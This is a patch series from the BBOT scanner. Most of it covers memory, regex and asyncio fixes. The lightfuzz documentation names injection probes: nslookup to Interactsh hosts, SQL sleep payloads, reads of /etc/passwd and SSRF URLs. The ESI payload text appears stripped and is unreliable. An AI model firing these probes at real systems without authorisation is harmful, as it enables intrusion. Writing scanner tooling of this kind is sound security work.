From 06600a290f8af13cd53ffbf25e5494727ea75166 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 00:28:49 -0500 Subject: [PATCH 292/912] Improve event memory footprint --- bbot/core/event/base.py | 13 +- bbot/scripts/benchmark_report.py | 31 ++++- .../test_event_memory_benchmarks.py | 120 ++++++++++++++++++ 3 files changed, 156 insertions(+), 8 deletions(-) create mode 100644 bbot/test/benchmarks/test_event_memory_benchmarks.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4789fe43f3..0d20e8ed5d 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1,5 +1,6 @@ import io import re +import sys import uuid import json import base64 @@ -122,6 +123,8 @@ class BaseEvent: # Don't allow duplicates to occur within a parent chain # In other words, don't emit the event if the same one already exists in its discovery context _suppress_chain_dupes = False + # Shared compiled regex for discovery context formatting (class-level to avoid per-instance overhead) + _discovery_context_regex = re.compile(r"\{(?:event|module)[^}]*\}") # using __slots__ dramatically reduces memory usage in large scans __slots__ = [ @@ -150,7 +153,6 @@ class BaseEvent: "_graph_important", "_resolved_hosts", "_discovery_context", - "_discovery_context_regex", "_stats_recorded", "_internal", "_dummy", @@ -166,6 +168,8 @@ class BaseEvent: "num_redirects", # File-related attributes "_data_path", + # Web parameter attributes + "envelopes", # Public attributes "module", "scan", @@ -226,7 +230,6 @@ def __init__( self.dns_children = {} self.raw_dns_records = {} self._discovery_context = "" - self._discovery_context_regex = re.compile(r"\{(?:event|module)[^}]*\}") self.web_spider_distance = 0 # for creating one-off events without enforcing parent requirement @@ -464,7 +467,7 @@ def tags(self, tags): self.add_tag(tag) def add_tag(self, tag): - self._tags.add(tagify(tag)) + self._tags.add(sys.intern(tagify(tag))) def add_tags(self, tags): for tag in set(tags): @@ -472,7 +475,7 @@ def add_tags(self, tags): def remove_tag(self, tag): with suppress(KeyError): - self._tags.remove(tagify(tag)) + self._tags.remove(sys.intern(tagify(tag))) @property def always_emit(self): @@ -1870,7 +1873,7 @@ def make_event( if not dummy: log.debug(f'Autodetected event type "{event_type}" based on data: "{data}"') - event_type = str(event_type).strip().upper() + event_type = sys.intern(str(event_type).strip().upper()) # Catch these common whoopsies if event_type in ("DNS_NAME", "IP_ADDRESS"): diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index a96cdb5c85..675c99bc64 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -188,6 +188,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc test_name = name.replace("test_", "").replace("_", " ").title() current_stats = current_bench.get("stats", {}) + current_extra = current_bench.get("extra_info", {}) current_mean = current_stats.get("mean", 0) # For multi-item benchmarks, calculate correct ops/sec if "excavate" in name: @@ -200,6 +201,10 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc current_ops = 100 / current_mean # 100 items per test elif "make_event" in name and "large" in name: current_ops = 1000 / current_mean # 1000 items per test + elif "event_memory" in name and "medium" in name: + current_ops = 10000 / current_mean # 10K events per test + elif "event_memory" in name and "large" in name: + current_ops = 50000 / current_mean # 50K events per test elif "ip" in name: current_ops = 1000 / current_mean # 1000 IPs per test elif "bloom_filter" in name: @@ -213,6 +218,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc base_bench = base_lookup.get(name) if base_bench: base_stats = base_bench.get("stats", {}) + base_extra = base_bench.get("extra_info", {}) base_mean = base_stats.get("mean", 0) # For multi-item benchmarks, calculate correct ops/sec if "excavate" in name: @@ -225,6 +231,10 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc base_ops = 100 / base_mean # 100 items per test elif "make_event" in name and "large" in name: base_ops = 1000 / base_mean # 1000 items per test + elif "event_memory" in name and "medium" in name: + base_ops = 10000 / base_mean # 10K events per test + elif "event_memory" in name and "large" in name: + base_ops = 50000 / base_mean # 50K events per test elif "ip" in name: base_ops = 1000 / base_mean # 1000 IPs per test elif "bloom_filter" in name: @@ -235,7 +245,17 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc else: base_ops = 1 / base_mean # Default: single operation - change_percent, emoji = calculate_change_percentage(base_mean, current_mean) + # Use per-event memory if available, otherwise use time + current_peb = current_extra.get("per_event_bytes") + base_peb = base_extra.get("per_event_bytes") + if current_peb is not None and base_peb is not None: + change_percent, emoji = calculate_change_percentage(base_peb, current_peb) + base_label = f"{base_peb:.0f} B/event" + current_label = f"{current_peb:.0f} B/event" + else: + change_percent, emoji = calculate_change_percentage(base_mean, current_mean) + base_label = format_time(base_mean) + current_label = format_time(current_mean) # Create visual change indicator if abs(change_percent) > 20: @@ -245,11 +265,15 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc else: change_bar = "⚪" - table += f"\n| **{test_name}** | `{format_time(base_mean)}` | `{format_time(current_mean)}` | **{change_percent:+.1f}%** {change_bar} | {emoji} |" + table += f"\n| **{test_name}** | `{base_label}` | `{current_label}` | **{change_percent:+.1f}%** {change_bar} | {emoji} |" # Track significant changes if abs(change_percent) > 10: - direction = "🐌 slower" if change_percent > 0 else "🚀 faster" + is_memory = current_extra.get("per_event_bytes") is not None + if is_memory: + direction = "🐌 more memory" if change_percent > 0 else "🚀 less memory" + else: + direction = "🐌 slower" if change_percent > 0 else "🚀 faster" significant_changes.append(f"- **{test_name}**: {abs(change_percent):.1f}% {direction}") if change_percent > 0: regressions += 1 @@ -268,6 +292,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc "current_ops": current_ops, } ) + else: table += f"\n| **{test_name}** | `-` | `{format_time(current_mean)}` | **New** 🆕 | 🆕 |" significant_changes.append( diff --git a/bbot/test/benchmarks/test_event_memory_benchmarks.py b/bbot/test/benchmarks/test_event_memory_benchmarks.py new file mode 100644 index 0000000000..8501728782 --- /dev/null +++ b/bbot/test/benchmarks/test_event_memory_benchmarks.py @@ -0,0 +1,120 @@ +import random +import tracemalloc + +import pytest + +from bbot.core.event.base import make_event + + +class TestEventMemoryBenchmarks: + """ + Benchmark tests for event memory footprint. + + Simulates realistic scan workloads and measures per-event memory consumption. + Uses pytest-benchmark's extra_info to record memory metrics alongside timing data. + """ + + def setup_method(self): + random.seed(42) + self.common_tags = [ + "in-scope", + "distance-0", + "subdomain", + "ipv4", + "resolved", + "a-record", + "aaaa-record", + "private-ip", + "cloud-azure", + "cdn", + "open-port", + "status-200", + "http-title-example", + "dir", + "endpoint", + ] + + def _generate_scan_events(self, count): + """Generate a realistic mix of events simulating a subdomain enum + web crawl scan.""" + rng = random.Random(42) + subdomains = ["www", "api", "mail", "ftp", "admin", "test", "dev", "staging", "blog", "cdn", "assets", "app"] + tlds = ["com", "org", "net", "io"] + events = [] + + for i in range(count): + kind = i % 5 + if kind <= 1: + # DNS_NAME (~40%) + sub = rng.choice(subdomains) + data = f"{sub}{i}.example.{rng.choice(tlds)}" + event_type = "DNS_NAME" + elif kind == 2: + # IP_ADDRESS (~20%) + data = f"{rng.randint(1, 254)}.{rng.randint(1, 254)}.{rng.randint(1, 254)}.{rng.randint(1, 254)}" + event_type = "IP_ADDRESS" + elif kind == 3: + # URL_UNVERIFIED (~20%) + sub = rng.choice(subdomains) + data = f"http://{sub}{i}.example.{rng.choice(tlds)}/path{i}" + event_type = "URL_UNVERIFIED" + else: + # OPEN_TCP_PORT (~20%) + data = f"{rng.choice(subdomains)}{i}.example.{rng.choice(tlds)}:{rng.choice([80, 443, 8080, 8443])}" + event_type = "OPEN_TCP_PORT" + + e = make_event(data, event_type, dummy=True) + # 5-10 tags per event, typical of a real scan + num_tags = 5 + (i % 6) + for tag in self.common_tags[:num_tags]: + e.add_tag(tag) + events.append(e) + + return events + + def _measure_memory(self, count): + """Create count events under tracemalloc and return (events, total_bytes, per_event_bytes).""" + # Warm up to exclude one-time allocations + _warmup = self._generate_scan_events(50) + del _warmup + + tracemalloc.start() + snapshot_before = tracemalloc.take_snapshot() + + events = self._generate_scan_events(count) + + snapshot_after = tracemalloc.take_snapshot() + tracemalloc.stop() + + stats = snapshot_after.compare_to(snapshot_before, "lineno") + total_bytes = sum(s.size_diff for s in stats if s.size_diff > 0) + per_event = total_bytes / count + + return events, total_bytes, per_event + + @pytest.mark.benchmark(group="event_memory_scan_simulation") + def test_event_memory_medium_scan(self, benchmark): + """Simulate a medium scan (~10K events) and measure per-event memory.""" + count = 10_000 + + # Use benchmark for timing the event creation + benchmark.pedantic(lambda: self._generate_scan_events(count), iterations=1, rounds=3) + + # Measure memory separately (tracemalloc + benchmark don't mix well) + events, total_bytes, per_event = self._measure_memory(count) + benchmark.extra_info["total_memory_bytes"] = total_bytes + benchmark.extra_info["per_event_bytes"] = round(per_event, 1) + benchmark.extra_info["total_memory_mb"] = round(total_bytes / 1024 / 1024, 2) + benchmark.extra_info["event_count"] = count + + @pytest.mark.benchmark(group="event_memory_scan_simulation") + def test_event_memory_large_scan(self, benchmark): + """Simulate a large scan (~50K events) and measure per-event memory.""" + count = 50_000 + + benchmark.pedantic(lambda: self._generate_scan_events(count), iterations=1, rounds=3) + + events, total_bytes, per_event = self._measure_memory(count) + benchmark.extra_info["total_memory_bytes"] = total_bytes + benchmark.extra_info["per_event_bytes"] = round(per_event, 1) + benchmark.extra_info["total_memory_mb"] = round(total_bytes / 1024 / 1024, 2) + benchmark.extra_info["event_count"] = count From 07ae9c3c9e2c5ece59af2d560058ec11b4a654b0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 00:55:00 -0500 Subject: [PATCH 293/912] Avoid redundant regex compilation and string ops in modules --- bbot/modules/httpx.py | 2 +- bbot/modules/internal/excavate.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index 3d5ff7f9c1..05a75a29c8 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -9,6 +9,7 @@ class httpx(BaseModule): + httpx_tempdir_regex = re.compile(r"^httpx\d+$") watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"] produced_events = ["URL", "HTTP_RESPONSE"] flags = ["active", "safe", "web-basic", "social-enum", "subdomain-enum", "cloud-enum"] @@ -58,7 +59,6 @@ async def setup(self): self.max_response_size = self.config.get("max_response_size", 5242880) self.store_responses = self.config.get("store_responses", False) self.probe_all_ips = self.config.get("probe_all_ips", False) - self.httpx_tempdir_regex = re.compile(r"^httpx\d+$") return True async def filter_event(self, event): diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index e54a5b594f..7efa4641ad 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -361,7 +361,7 @@ def in_bl(self, value): return True for bl_param_prefix in self.parameter_blacklist_prefixes: - if lower_value.startswith(bl_param_prefix.lower()): + if lower_value.startswith(bl_param_prefix): return True return False @@ -402,6 +402,7 @@ class GetJquery(ParameterExtractorRule): name = "GET jquery" discovery_regex = r"/\$.get\([^\)].+\)/ nocase" extraction_regex = re.compile(r"\$.get\([\'\"](.+)[\'\"].+(\{.+\})\)") + _json_key_regex = re.compile(r"(\w+):") output_type = "GETPARAM" async def extract(self): @@ -423,7 +424,7 @@ async def extract(self): async def convert_to_dict(self, extracted_str): extracted_str = extracted_str.replace("'", '"') extracted_str = await self.excavate.helpers.re.sub( - re.compile(r"(\w+):"), r'"\1":', extracted_str + self._json_key_regex, r'"\1":', extracted_str ) # Quote keys try: @@ -1045,7 +1046,7 @@ async def setup(self): self.add_yara_rule(rule_name, rule_content, excavateRule) self.parameter_blacklist = set(p.lower() for p in self.scan.config.get("parameter_blacklist", [])) - self.parameter_blacklist_prefixes = set(self.scan.config.get("parameter_blacklist_prefixes", [])) + self.parameter_blacklist_prefixes = set(p.lower() for p in self.scan.config.get("parameter_blacklist_prefixes", [])) self.custom_yara_rules = str(self.config.get("custom_yara_rules", "")) if self.custom_yara_rules: From 1d633cc19db77e48f34a8867f138e1e0ca680abb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 00:59:25 -0500 Subject: [PATCH 294/912] Fix lightfuzz crash when additional_param_value is None in crypto submodule --- bbot/modules/lightfuzz/submodules/crypto.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 2a8d4cea31..81ec533cd9 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -474,6 +474,8 @@ async def fuzz(self): ): # for each additional parameter, we send a probe and check if it causes the same change in the response as the original probe for additional_param_name, additional_param_value in self.event.data["additional_params"].items(): + if additional_param_value is None: + continue try: additional_param_probe = await self.compare_probe( http_compare, From 4aa554cbab697ac1e49d084c8fc61b0af472b173 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 01:00:51 -0500 Subject: [PATCH 295/912] ruff format --- bbot/modules/internal/excavate.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 7efa4641ad..67d887afad 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1046,7 +1046,9 @@ async def setup(self): self.add_yara_rule(rule_name, rule_content, excavateRule) self.parameter_blacklist = set(p.lower() for p in self.scan.config.get("parameter_blacklist", [])) - self.parameter_blacklist_prefixes = set(p.lower() for p in self.scan.config.get("parameter_blacklist_prefixes", [])) + self.parameter_blacklist_prefixes = set( + p.lower() for p in self.scan.config.get("parameter_blacklist_prefixes", []) + ) self.custom_yara_rules = str(self.config.get("custom_yara_rules", "")) if self.custom_yara_rules: From eb5df195ad034f4e892136fd4b28d080ab8a61fc Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 12:18:39 -0500 Subject: [PATCH 296/912] Fix orphaned asyncio tasks causing 'Task was destroyed but it is pending!' warnings (#2508) --- bbot/core/helpers/async_helpers.py | 9 +++++++++ bbot/core/helpers/interactsh.py | 4 +++- bbot/modules/subdomainradar.py | 2 ++ bbot/scanner/scanner.py | 14 ++++++++++---- bbot/test/test_step_1/test_python_api.py | 21 +++++++++++++++++++++ 5 files changed, 45 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/async_helpers.py b/bbot/core/helpers/async_helpers.py index a9d8adc6fe..303ae60376 100644 --- a/bbot/core/helpers/async_helpers.py +++ b/bbot/core/helpers/async_helpers.py @@ -133,6 +133,15 @@ def async_to_sync_gen(async_gen): yield loop.run_until_complete(async_gen.__anext__()) except StopAsyncIteration: pass + finally: + # Cancel any remaining pending tasks to prevent + # "Task was destroyed but it is pending!" warnings + pending = [t for t in asyncio.all_tasks(loop) if not t.done()] + for t in pending: + t.cancel() + if pending: + with suppress(BaseException): + loop.run_until_complete(asyncio.gather(*pending, return_exceptions=True)) def async_cachedmethod(cache, key=keys.hashkey): diff --git a/bbot/core/helpers/interactsh.py b/bbot/core/helpers/interactsh.py index 1fd8cee4f9..854edb5966 100644 --- a/bbot/core/helpers/interactsh.py +++ b/bbot/core/helpers/interactsh.py @@ -196,8 +196,10 @@ async def deregister(self): if self._poll_task is not None: self._poll_task.cancel() - with contextlib.suppress(asyncio.CancelledError): + try: await self._poll_task + except (asyncio.CancelledError, Exception): + pass if "success" not in getattr(r, "text", ""): raise InteractshError(f"Failed to de-register with interactsh server {self.server}") diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index 2a4c987948..e5bb2c7571 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -64,6 +64,8 @@ async def setup(self): self.enum_tasks = {} self.poll_task = asyncio.create_task(self.task_poll_loop()) + # Track poll_task so _cancel_tasks() picks it up during shutdown + self._tasks.append(self.poll_task) return True diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 5713979fb7..3ecbe94f76 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -257,6 +257,7 @@ def __init__( self.init_events_task = None self.ticker_task = None + self._stop_task = None self.dispatcher_tasks = [] self._stopping = False @@ -428,10 +429,12 @@ async def async_start(self): yield scan_finish_event tasks = self._cancel_tasks() self.debug(f"Awaiting {len(tasks):,} tasks") - for task in tasks: - # self.debug(f"Awaiting {task}") + if tasks: with contextlib.suppress(BaseException): - await asyncio.wait_for(task, timeout=0.1) + await asyncio.wait_for( + asyncio.gather(*tasks, return_exceptions=True), + timeout=2, + ) self.debug(f"Awaited {len(tasks):,} tasks") await self._report() await self._cleanup() @@ -783,7 +786,7 @@ async def async_stop(self): await self._set_status(SCAN_STATUS_ABORTED) def stop(self): - asyncio.create_task(self.async_stop()) + self._stop_task = asyncio.create_task(self.async_stop()) async def finish(self): """Finalizes the scan by invoking the `finished()` method on all active modules if new activity is detected. @@ -854,6 +857,9 @@ def _cancel_tasks(self): # ticker if self.ticker_task: tasks.append(self.ticker_task) + # stop task + if self._stop_task: + tasks.append(self._stop_task) self.helpers.cancel_tasks_sync(tasks) # process pool diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index 0cac093af0..9dddf90338 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -82,6 +82,27 @@ def test_python_api_sync(): assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") +def test_python_api_sync_no_pending_tasks(): + """Test that no asyncio tasks remain pending after a sync scan completes. + + Regression test for https://github.com/blacklanternsecurity/bbot/issues/2508 + When using BBOT as a library (e.g. from Celery), orphaned asyncio tasks + would cause "Task was destroyed but it is pending!" warnings on shutdown. + """ + import asyncio + from bbot.scanner import Scanner + from bbot.core.helpers.async_helpers import get_event_loop + + scan = Scanner("127.0.0.1") + events = list(scan.start()) + assert any(e.type == "IP_ADDRESS" and e.data == "127.0.0.1" for e in events) + + # After the sync generator is exhausted, no tasks should remain pending + loop = get_event_loop() + pending = [t for t in asyncio.all_tasks(loop) if not t.done()] + assert len(pending) == 0, f"Found {len(pending)} pending tasks after scan: {pending}" + + def test_python_api_validation(): from bbot.scanner import Scanner, Preset From 1398d8fb843cb271006d8b657e302c34c9fb1258 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 4 Mar 2026 12:28:49 -0500 Subject: [PATCH 297/912] Fix unclosed file handles in module loader --- bbot/core/helpers/async_helpers.py | 12 +++++++++++- bbot/core/helpers/interactsh.py | 1 - bbot/core/modules.py | 3 ++- 3 files changed, 13 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/async_helpers.py b/bbot/core/helpers/async_helpers.py index 303ae60376..8c95dc7981 100644 --- a/bbot/core/helpers/async_helpers.py +++ b/bbot/core/helpers/async_helpers.py @@ -134,6 +134,11 @@ def async_to_sync_gen(async_gen): except StopAsyncIteration: pass finally: + # Explicitly close the async generator so its finally block + # (e.g. Scanner.async_start's cleanup) runs while the loop + # is still alive, not deferred to interpreter shutdown. + with suppress(BaseException): + loop.run_until_complete(async_gen.aclose()) # Cancel any remaining pending tasks to prevent # "Task was destroyed but it is pending!" warnings pending = [t for t in asyncio.all_tasks(loop) if not t.done()] @@ -141,7 +146,12 @@ def async_to_sync_gen(async_gen): t.cancel() if pending: with suppress(BaseException): - loop.run_until_complete(asyncio.gather(*pending, return_exceptions=True)) + loop.run_until_complete( + asyncio.wait_for( + asyncio.gather(*pending, return_exceptions=True), + timeout=5, + ) + ) def async_cachedmethod(cache, key=keys.hashkey): diff --git a/bbot/core/helpers/interactsh.py b/bbot/core/helpers/interactsh.py index 854edb5966..a7d5e59634 100644 --- a/bbot/core/helpers/interactsh.py +++ b/bbot/core/helpers/interactsh.py @@ -4,7 +4,6 @@ import random import asyncio import logging -import contextlib import traceback from uuid import uuid4 diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 7bdb440b2d..85465fdf88 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -331,7 +331,8 @@ def preload_module(self, module_file): config = {} options_desc = {} disable_auto_module_deps = False - python_code = open(module_file).read() + with open(module_file) as f: + python_code = f.read() # take a hash of the code so we can keep track of when it changes module_hash = sha1(python_code).hexdigest() parsed_code = ast.parse(python_code) From 8691e3b2c1f931312aff9681b0704006f344660a Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 5 Mar 2026 11:10:57 -0500 Subject: [PATCH 298/912] moderate -> medium --- bbot/modules/lightfuzz/submodules/ssrf.py | 2 +- bbot/test/test_step_2/module_tests/test_module_lightfuzz.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/ssrf.py b/bbot/modules/lightfuzz/submodules/ssrf.py index b24f3dd501..e2c927e489 100644 --- a/bbot/modules/lightfuzz/submodules/ssrf.py +++ b/bbot/modules/lightfuzz/submodules/ssrf.py @@ -36,7 +36,7 @@ async def fuzz(self): "severity": "HIGH", "confidence": "CONFIRMED", "severity_dns": "HIGH", - "confidence_dns": "MODERATE", + "confidence_dns": "MEDIUM", } await self.standard_probe( diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 29474419a3..fb88e3891c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1590,8 +1590,8 @@ def check(self, module_test, events): ): if "Interaction Protocol: [dns]" in e.data["description"]: ssrf_dns_finding_emitted = True - assert e.data["confidence"] == "MODERATE", ( - f"DNS SSRF should be MODERATE, got {e.data['confidence']}" + assert e.data["confidence"] == "MEDIUM", ( + f"DNS SSRF should be MEDIUM, got {e.data['confidence']}" ) elif "Interaction Protocol: [http]" in e.data["description"]: ssrf_http_finding_emitted = True From 62f3750463b962c301ed0e68cde10dd1942cde5e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 11:11:03 -0500 Subject: [PATCH 299/912] Add SSRF submodule to lightfuzz docs, rename MODERATE confidence to MEDIUM --- docs/modules/lightfuzz.md | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index 5ced2e0ff3..62c260bde7 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -37,7 +37,7 @@ Severity represents how bad the issue is *if it's real*. Levels, from worst to l | Severity | Meaning | |---|---| | **CRITICAL** | Full system compromise likely (e.g., command injection, SSTI) | -| **HIGH** | Significant security impact (e.g., SQL injection, path traversal, unsafe deserialization) | +| **HIGH** | Significant security impact (e.g., SQL injection, SSRF, path traversal, unsafe deserialization) | | **MEDIUM** | Moderate impact, often client-side (e.g., XSS, ESI) | | **LOW** | Minor or limited-scope issue | | **INFORMATIONAL** | Interesting observation, not directly exploitable (e.g., cryptographic parameter detected) | @@ -48,9 +48,9 @@ Confidence represents how sure lightfuzz is that the finding is real, independen | Confidence | Indicator | Meaning | Example | |---|---|---|---| -| **CONFIRMED** | 🟣 | Out-of-band proof of exploitation | Blind command injection via DNS interaction (Interactsh) | +| **CONFIRMED** | 🟣 | Out-of-band proof of exploitation | Blind command injection or SSRF via HTTP interaction (Interactsh) | | **HIGH** | 🔴 | Deterministic detection that's hard to fake | SSTI math evaluation (`1337*1337=1787569`), padding oracle | -| **MODERATE** | 🟠 | Context-aware detection, but not definitive | SQL error strings after quote injection, XSS tag survival in reflection | +| **MEDIUM** | 🟠 | Context-aware detection, but not definitive | SQL error strings after quote injection, XSS tag survival in reflection | | **LOW** | 🟡 | Heuristic detection, requires manual verification | Blind SQLi timing (even with 3x confirmation), path traversal divergence, deserialization error changes | When reviewing lightfuzz output, consider both dimensions together. A `CRITICAL` severity / `CONFIRMED` confidence finding (like OOB command injection) is something to act on immediately. A `HIGH` severity / `LOW` confidence finding (like blind SQLi timing) is worth investigating but may be a false positive. @@ -78,6 +78,8 @@ Lightfuzz is divided into numerous "submodules". These would typically be run al - Can find a variety of XSS types, across several different contexts (between-tags, attribute, Javascript-based) ### `esi` (Edge Side Includes) - Detects Edge Side Include processing +### `ssrf` (Server-Side Request Forgery) + - Detects SSRF vulnerabilities via out-of-band DNS/HTTP interactions using Interactsh ## Submodule Details @@ -85,7 +87,7 @@ Lightfuzz is divided into numerous "submodules". These would typically be run al Detects OS command injection via two techniques: -**Echo Canary Detection** (CRITICAL severity, MODERATE confidence): Injects command delimiters (`;`, `&&`, `||`, `&`, `|`) combined with an `echo` command containing a random numeric canary. If the canary appears in the response *without* the word "echo" (ruling out simple reflection), injection is indicated. A false-positive probe (`AAAA`) is sent first — if the canary appears with that delimiter, the test aborts since the application is just reflecting input. +**Echo Canary Detection** (CRITICAL severity, MEDIUM confidence): Injects command delimiters (`;`, `&&`, `||`, `&`, `|`) combined with an `echo` command containing a random numeric canary. If the canary appears in the response *without* the word "echo" (ruling out simple reflection), injection is indicated. A false-positive probe (`AAAA`) is sent first — if the canary appears with that delimiter, the test aborts since the application is just reflecting input. **Blind OOB via Interactsh** (CRITICAL severity, CONFIRMED confidence): Injects `nslookup` commands pointed at unique Interactsh subdomains. If a DNS interaction is received, command execution is confirmed out-of-band. This is the highest-confidence detection lightfuzz can produce. Requires Interactsh to be enabled (it is by default). @@ -93,13 +95,13 @@ Detects OS command injection via two techniques: Detects SQL injection via two techniques: -**Error-based Detection** (HIGH severity, MODERATE confidence): Injects a single quote (`'`) and compares the response against a list of known SQL error strings (e.g., "error in your SQL syntax", "Unterminated string literal"). Also performs a differential test: if a single quote changes the status code but two single quotes (`''`) produce a *different* status code, it suggests the quotes are being parsed as SQL syntax rather than just rejected. +**Error-based Detection** (HIGH severity, MEDIUM confidence): Injects a single quote (`'`) and compares the response against a list of known SQL error strings (e.g., "error in your SQL syntax", "Unterminated string literal"). Also performs a differential test: if a single quote changes the status code but two single quotes (`''`) produce a *different* status code, it suggests the quotes are being parsed as SQL syntax rather than just rejected. **Blind Time-delay Detection** (HIGH severity, LOW confidence): Sends database-specific sleep payloads (PostgreSQL `pg_sleep`, MySQL `SLEEP`, Oracle `DBMS_LOCK.SLEEP`, MSSQL `WAITFOR DELAY`) with a 5-second delay. Measures response time against a baseline average of two normal requests. Requires 3 consecutive confirmations within an acceptable margin (1.5s) to report — even a single miss aborts the test for that payload. Despite the triple confirmation, timing-based detection is inherently noisy, hence the LOW confidence. ### `xss` — Cross-Site Scripting -Detects reflected XSS across multiple injection contexts. All XSS findings are MEDIUM severity, MODERATE confidence. +Detects reflected XSS across multiple injection contexts. All XSS findings are MEDIUM severity, MEDIUM confidence. **Step 1 — Reflection Check**: Sends a random 8-character alphanumeric string. If it doesn't appear in the response, the parameter doesn't reflect and XSS testing is skipped entirely. Parameters from `paramminer_getparams` without an `http-reflection` tag are also skipped. @@ -131,7 +133,7 @@ Detects arbitrary file read / local file inclusion via two techniques: Each variant requires **4 confirmations** across 5 iterations (one failure tolerated after the first success). WAF responses containing "The requested URL was rejected" are filtered out. Despite the multiple confirmations, this remains LOW confidence because response divergence can have non-traversal explanations. -**Absolute Path Detection** (HIGH severity, MODERATE confidence): Directly requests known file paths (`/etc/passwd`, `c:\windows\win.ini`) and checks for expected content strings (`daemon:x:`, `; for 16-bit app support`). Also tests null byte extension bypass (`%00.png`). Higher confidence because matching specific file content is much harder to explain away. +**Absolute Path Detection** (HIGH severity, MEDIUM confidence): Directly requests known file paths (`/etc/passwd`, `c:\windows\win.ini`) and checks for expected content strings (`daemon:x:`, `; for 16-bit app support`). Also tests null byte extension bypass (`%00.png`). Higher confidence because matching specific file content is much harder to explain away. ### `ssti` — Server-Side Template Injection @@ -182,6 +184,18 @@ Detects ESI processing. ESI findings are MEDIUM severity, HIGH confidence. Sends the payload `AABBCC`. If the server processes ESI tags, the `` comment is removed (it's a valid ESI directive) while `` is left alone (not a valid directive). The expected detection string is `AABBCC`. This is a clean differential test — the only explanation for selective comment removal is active ESI processing. +### `ssrf` — Server-Side Request Forgery + +Detects SSRF vulnerabilities via out-of-band interaction. SSRF findings are HIGH severity, with confidence depending on the interaction type (CONFIRMED for HTTP, MEDIUM for DNS-only). + +Injects URLs pointing to unique Interactsh subdomains as parameter values. Three URL variants are tested for each parameter: + +- `http://TAG.interactsh-domain` — explicit HTTP scheme +- `https://TAG.interactsh-domain` — explicit HTTPS scheme +- `TAG.interactsh-domain` — bare domain (for cases where the server prepends a scheme) + +If the server fetches the injected URL, the resulting DNS or HTTP interaction is detected out-of-band via Interactsh. HTTP interactions are CONFIRMED confidence (the server made a full HTTP request), while DNS-only interactions are MEDIUM confidence (DNS resolution occurred, but the server may not have completed the request). Requires Interactsh to be enabled (it is by default). + ## Presets Lightfuzz comes with pre-defined presets. Unless you really know BBOT inside and out, we recommend using one of them. This is because Lightfuzz needs to change several important BBOT settings to work correctly, including: From 9a97782bcf4bac37ee5e3955316f61f3ef671967 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 5 Mar 2026 13:57:54 -0500 Subject: [PATCH 300/912] Filter JWT IdentifyOnly in badsecrets instead of suppressing excavate's JWTExtractor --- bbot/modules/badsecrets.py | 4 ++ bbot/modules/internal/excavate.py | 5 -- .../module_tests/test_module_badsecrets.py | 51 +++++++++++++++++++ .../module_tests/test_module_excavate.py | 2 +- 4 files changed, 56 insertions(+), 6 deletions(-) diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index 89f961dabd..30bced1cba 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -82,6 +82,10 @@ async def handle_event(self, event): 